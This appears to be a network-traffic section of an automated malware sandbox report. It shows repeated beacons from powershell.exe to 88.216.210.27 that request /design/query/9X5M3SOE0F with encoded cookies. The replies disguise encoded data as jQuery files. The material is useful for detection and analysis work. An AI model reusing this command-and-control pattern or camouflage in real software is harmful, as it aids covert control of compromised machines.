Apr 9, 2023 02:59:28.196218014 CEST	540	IN	Data Raw: 41 44 49 44 48 48 4e 46 42 4e 48 4a 50 4e 45 47 45 4b 42 4d 46 49 46 4c 50 4e 4c 4a 43 4e 43 45 42 4d 43 49 42 4b 46 48 50 4c 4b 44 48 46 48 43 50 4b 4d 44 49 44 41 42 4b 46 4c 41 45 4f 49 4e 46 46 41 50 4c 47 41 4d 49 46 4b 4b 4d 41 48 4a 4f 42 Data Ascii: ADIDHHNFBNHJPNEGEKBMFIFLPNLJCNCEBMCIBKFHPLKDHFHCPKMDIDABKFLAEOINFFAPLGAMIFKKMAHJOBKJLJBLDJDGGCCMOLPLNAHMLAPDLFJPGPIHBEGBCJHIFMKAMCGKKGHIECFNMGNIOKHAOKDLIFNOHMMLFIMFBPELIDEDFNOCIKCLANCHFDKPBOOBJGNDDLMGPMGBOMJCCEFDIIGHECHJBMICKPIJNHBPEBPHPBHNJHB
Apr 9, 2023 02:59:28.196240902 CEST	540	IN	Data Raw: 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 29 26 26 6f 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: .getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.5	49797	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:28.460082054 CEST	541	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=91ZFfayVJTp9oep8zoCrHQ0qxhaaEQUnYBnssFh63HrUYTIN5c3Dag9cOKdLq6USHz9AcPR6mEM0L0Ig4fppJlGIiZid61DDfUwZJasB2htjSkMmx_DpCLUuu5jfJgNXM9DG9r_4LSZFrGGJ-rqBpmTYxHslRj6rN040UbqERMTCYl3Q User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:28.608747005 CEST	542	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:28 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:28.608792067 CEST	543	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:28.608815908 CEST	544	IN	Data Raw: 50 43 49 4c 44 47 50 48 41 45 4b 47 49 4f 48 4f 4f 4f 4d 41 4d 43 41 41 49 42 47 4a 48 45 47 44 4a 4f 4e 4e 4c 4b 4b 49 4e 4e 42 50 48 4a 47 4f 4c 41 41 45 4f 45 4e 41 4f 41 4b 43 4c 42 4e 4c 46 4d 4b 44 41 42 46 45 49 49 43 46 49 46 4b 48 47 45 Data Ascii: PCILDGPHAEKGIOHOOOMAMCAAIBGJHEGDJONNLKKINNBPHJGOLAAEOENAOAKCLBNLFMKDABFEIICFIFKHGEHHMPHBFGIKDOGACIFOBBEIIMHFJIKMIHHGEENOFPOKAJBEHGBFDIDLEOPJIOFGIHFLFLGBHLKNJLIFMJFHAEOFLPCCMMEJLKGGAKLHMEGAKCPBLENOKALHKFFJFKNLGCBNIAEBOGLPHKOEGOAEEFPMPBEBOOPEHGI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	49798	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:28.872771978 CEST	545	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=4HiZpLu7-eNqjzal2a53xBoEGs-NP9n-dzcwaU9UAKPDT-7U8uMfsxhy5H5chXnLCBGcqeNURJojAZ759tS1_0amVUGKxYwaamLF_LwvBsJ0ZJ__0N410aIAZ0HICN-OJP4aL6jW8f9Sgr1Q7ZRdf3P2GKIyaOJyIGDoiK2qmB3VTIEJ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:29.021471024 CEST	545	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:28 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:29.021502972 CEST	547	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:29.021527052 CEST	548	IN	Data Raw: 4a 46 4b 46 4e 42 46 4f 46 4d 49 4d 4f 49 50 42 44 45 41 44 43 4e 4f 49 49 4b 45 42 4d 47 45 49 4d 4b 4d 4c 48 49 44 4b 50 4f 4a 46 47 45 4f 41 43 48 4d 43 49 4f 46 4c 50 44 4e 4d 45 4e 41 50 4c 49 4b 50 4c 44 4c 44 50 4f 41 49 4b 4e 4a 43 48 4a Data Ascii: JFKFNBFOFMIMOIPBDEADCNOIIKEBMGEIMKMLHIDKPOJFGEOACHMCIOFLPDNMENAPLIKPLDLDPOAIKNJCHJFNFHCHCHOKALCKGEKGNOPDPJMNKBHKANHEBLLMILMDOLGNKKCFJAJDAOKACAGKMHNGNJFPEIHMHNFG/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.5	49799	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:29.291562080 CEST	549	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=vG2rC-euy0w2mgQKhbtFa0YRKGDRKutRKyICxhNBMgyfWtx7rvYtHERn1tEAkEtkVASuBr9BdjV_FKxWqsGHUBqzZ-7W0L61Nnf3U-A6NG0oca1QjMsHfv4VVe6UHe0heOsogPTDw1AOl4__sYFv0C_jKg1ufdDdfHXaJ_G_qrKJWbOm User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:29.441726923 CEST	549	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:29 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:29.441924095 CEST	551	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:29.441961050 CEST	552	IN	Data Raw: 44 4d 4c 43 4b 48 44 50 42 45 4f 4b 4e 4a 4e 4c 49 4f 45 44 45 48 4e 42 4f 4b 49 4c 41 4c 4d 4c 46 4e 42 48 4d 48 50 50 4e 4f 47 50 4d 4c 41 41 49 42 4e 4a 4a 4f 4d 4f 47 46 4b 4f 49 4c 4e 4d 47 4a 4f 46 46 43 43 4f 47 4f 46 42 4f 46 48 45 50 43 Data Ascii: DMLCKHDPBEOKNJNLIOEDEHNBOKILALMLFNBHMHPPNOGPMLAAIBNJJOMOGFKOILNMGJOFFCCOGOFBOFHEPCODLCFDPJAAMHIAFHIGDPMOJBMNNEODHIJIJBAHIMIKLCPL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	49800	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:29.701639891 CEST	553	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=9qBlDa1jBUp8V8oMz3aLbQzc5mab5yVXYe_MwFmM_ArVlxJ95DvjGg6qGNdKXYViHslgAPWMuDM12WJQ4AxJVlB-qeicHXCzfLo5Var3-mtivGNWxgbJeLTYm-je0CMnMibmhr4ODVZEWkH5-0yh1mUu5AsksB7bNrgUIbtyZLTDlH2g User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:29.853117943 CEST	553	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:29 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:29.853157043 CEST	554	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:29.853185892 CEST	556	IN	Data Raw: 44 4a 42 43 50 50 42 42 4a 4d 4e 45 48 50 41 47 45 42 42 48 41 47 4f 49 4a 47 4f 4c 47 48 48 43 4c 4a 48 47 50 4d 46 4d 4d 47 46 4d 49 45 4b 48 46 4a 41 48 50 48 50 4e 46 43 47 4e 43 47 48 44 42 4c 41 4d 4f 49 45 43 44 45 43 4d 45 48 45 46 49 41 Data Ascii: DJBCPPBBJMNEHPAGEBBHAGOIJGOLGHHCLJHGPMFMMGFMIEKHFJAHPHPNFCGNCGHDBLAMOIECDECMEHEFIAAAEPKLJDPBNPIAKMJNDFAGMLBOPPIELMCDMKFMIIMBBFFNPMENMGLHNODJPMOCLDDAHPBNFKHPOONBHHIEIFEDMHKNOCLGNFEINEONJDOBJJAL/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.5	49801	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:30.118966103 CEST	557	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Y4TS3ThHsprpc33cWlI8vZn4UbYOw5KH9Mt7EMyoS9pAs6WtcR9UypuOrwffeTKyi-3X0GCoD-Og_dWAdSj-hsVaHjgJOcdj6Z6OhT_TTbv3mNSGUyJ-qCH8LDhL9JT3pwJRVisquobRfvYpbmgWBvAKU9uxlKkLo5yj8S5W02RWsMpw User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:30.268562078 CEST	557	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:30 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:30.268605947 CEST	558	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:30.268650055 CEST	559	IN	Data Raw: 4c 4b 4a 4c 42 4f 46 50 46 50 46 49 44 42 50 4a 43 4b 44 50 4b 43 4e 46 46 46 4e 45 43 44 49 4a 49 4a 41 4d 45 45 42 43 50 44 43 4e 4d 41 43 44 4b 42 4f 4f 45 4f 4a 4b 4d 4d 43 4f 4f 50 45 48 50 46 42 4b 48 50 47 4b 44 4d 46 4d 44 45 47 48 41 4d Data Ascii: LKJLBOFPFPFIDBPJCKDPKCNFFFNECDIJIJAMEEBCPDCNMACDKBOOEOJKMMCOOPEHPFBKHPGKDMFMDEGHAMIJDCHEFBKDDCAJEAEBMKMFOPMLGNLEOPLOEBKMNEDKNCIBFGDLBEBJPGALHEOOPFLAPBNILJJGNJAFGIBDBPHKAHELFCAFNCAEDLJIIHIIGFPD/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	49802	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:30.529858112 CEST	560	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=n2pQLcSpMGoVnf8spry-TWUW00byLRB3CCX54DBGySq8XSddjfHWOmdgLfcjl7BCdwNVIJxGjRNcE1dwicZ8djm0nMj110WTFXAMdcM9z0sLdlZ2r8z8WN0Srsi3GhYHW-zTptfEOHYtkHTZkoaU9gzk0StNeiv7X3IhAdK4UZSqXkiA User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:30.678510904 CEST	561	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:30 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:30.678543091 CEST	562	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:30.678572893 CEST	563	IN	Data Raw: 4e 4b 45 4a 45 4f 4d 46 42 48 4f 44 47 50 46 41 4e 4c 47 41 44 4d 43 50 49 43 46 41 42 41 50 42 41 4f 46 45 4f 49 48 43 4e 4c 43 4b 4e 4c 44 50 50 46 42 47 46 4f 4a 4a 4f 49 4f 44 46 43 45 4a 47 4f 50 46 50 4d 4c 41 4f 41 41 41 4b 4c 43 41 47 49 Data Ascii: NKEJEOMFBHODGPFANLGADMCPICFABAPBAOFEOIHCNLCKNLDPPFBGFOJJOIODFCEJGOPFPMLAOAAAKLCAGILNPIPBINNLDPEAIJKHICPKGABEJMEOIMGEKGCLFMIPNFIA/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.5	49803	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:30.954473972 CEST	564	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=en-O6CG87q_wiCHpQ6lgiIADDYMXOM6y7TAnJdVTF-9ZSPmYaOQI_4J18zLGgm6HkhaL5XlTU9a5Bom1bNOis9yhQg0QwptW8GXSsCYoEY7uY4izStkinTgHcA1SD8jCvvkNYzLR5rPIhaocd5NKM-nxD-6ob_U-umf_xDetj1FPS5ZF User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:31.103523016 CEST	565	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:31 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:31.103607893 CEST	566	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:31.103681087 CEST	567	IN	Data Raw: 48 43 45 48 4e 41 48 43 48 4f 45 46 49 4d 44 4a 4c 4e 4f 48 4d 43 50 48 4f 48 4b 4b 45 4b 4d 43 42 49 4c 4a 50 4d 50 44 4c 4e 4c 45 50 4a 47 46 50 4f 41 43 41 4a 41 44 41 50 4a 4a 50 4f 49 42 49 50 45 45 4e 50 45 4f 44 4f 43 4a 4b 44 48 4e 4f 48 Data Ascii: HCEHNAHCHOEFIMDJLNOHMCPHOHKKEKMCBILJPMPDLNLEPJGFPOACAJADAPJJPOIBIPEENPEODOCJKDHNOHJGIAGBDLMMBCMICHOHAHMMHPMNJJLLAHFCAINCNHPHABEAPKJFEEKDFKBIICELKPOLPPELBJAMLAHLOIMEHDFAIOFLHFCPAKHNCPDLNNGIHDFGMBLOBLBGMNMFPHPNNDPGLGIEIMKMFBBMLEGLIBPPKLFPBMCNBMM
Apr 9, 2023 02:59:31.103720903 CEST	567	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49696	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:43.732454062 CEST	151	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=m9AX5MATd6MRJ7jlogb5hGGslI_2l1e-DJ--KTT8juO452CUiUuR82Paaj4nLfeLc7kS6Zj8ytpYqRC5jXw7vz0O2wHxbQJaEcpLvMeHiIIPzBG_q3a7kdmo6QGzoFHOX1aUb9N-f78pKjMQljzTPwheluJJwGwyW8hmyNYCFl2u5A9J User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:43.881478071 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:43 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:43.881508112 CEST	153	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:43.881705999 CEST	154	IN	Data Raw: 4b 4c 4c 4e 48 49 47 4c 50 4c 44 43 46 50 4f 47 4a 42 43 44 44 49 45 46 4c 4e 47 50 4b 4b 4b 44 42 49 48 47 4f 4b 4f 4f 48 50 4d 4d 4b 45 45 4d 48 43 43 48 4f 43 50 49 42 50 45 4b 41 4e 46 46 4d 44 44 47 43 4d 4f 4f 46 4a 41 4f 49 50 4b 45 42 48 Data Ascii: KLLNHIGLPLDCFPOGJBCDDIEFLNGPKKKDBIHGOKOOHPMMKEEMHCCHOCPIBPEKANFFMDDGCMOOFJAOIPKEBHIIAMIMAGFHLKCJNLPOCCIAMOPEHMNKEBMNMGHMNHHEFDJLEAENOCBNCDFLEKBJMJOEEIGAFGGPJENDCLEJMMGFMBJPIJJOLMLLCEMAKEDNBKAHNACCPHHPGFHAMADOAPDPEIMEDNHKLIBPLFPKHKJNKGJJHJHNBKD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	49804	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:31.373858929 CEST	568	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=74oFr7RJZehlfaqu1lzrzxX2hsSCzUX1eMWsYkCmnKjMvXLf_RGDuBeAeHVTd-XAB-MAouym2JEs8wLy-SYp9ElUyUqFNxARZZBZ97Pdmsl7lgP03yyp2q3y-0rH-kOFKwyGJKckbfRdcCFb4mbBdHwEhKk9mn55L5J0g6JYBBbavh0C User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:31.523129940 CEST	569	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:31 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:31.523184061 CEST	570	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:31.523236036 CEST	571	IN	Data Raw: 45 45 4d 44 4b 48 49 49 50 49 45 4d 50 4f 50 46 4c 50 4b 44 4f 4d 50 4c 4b 44 47 42 47 49 44 45 41 4d 49 47 45 4d 42 43 4d 4f 46 42 4f 4a 45 48 42 44 4b 46 44 4e 45 44 47 45 4c 50 47 45 4c 50 46 43 50 45 4a 4e 50 43 41 49 46 44 48 4d 4d 4d 4f 4f Data Ascii: EEMDKHIIPIEMPOPFLPKDOMPLKDGBGIDEAMIGEMBCMOFBOJEHBDKFDNEDGELPGELPFCPEJNPCAIFDHMMMOOCOALFJBJCCKEGNLDDFODBBFNHHOOLCHFKGKNPMLPIMAIJIDKAADKCLBBADPGKBNBBPONNPJCDEJAJBPPKFDCNGPMNGBHKNDPPNABLDKDGJMCCJJJAFPLJGPOLCOAGAJJPGOBJNMDIKCOECHOGMDDBEKKOJAFHLKJD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.5	49805	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:31.784022093 CEST	572	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=wUZLg5qFK8RLseSC-JCl4zs6yOisAQvZVgniTm5q0oTicTzz093NlDlMNll9u6vsKS9OjsJqlr0CP0ze1-pn2GeYh2ar-149S1wX250R1OVVWk3Y8eDn9oM-tWbpNg2pBcDICInoI9hzvG93zKqPWFLIyoUTVjBVAV46r4yUSjr0clMu User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:31.932674885 CEST	573	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:31 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:31.932797909 CEST	574	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
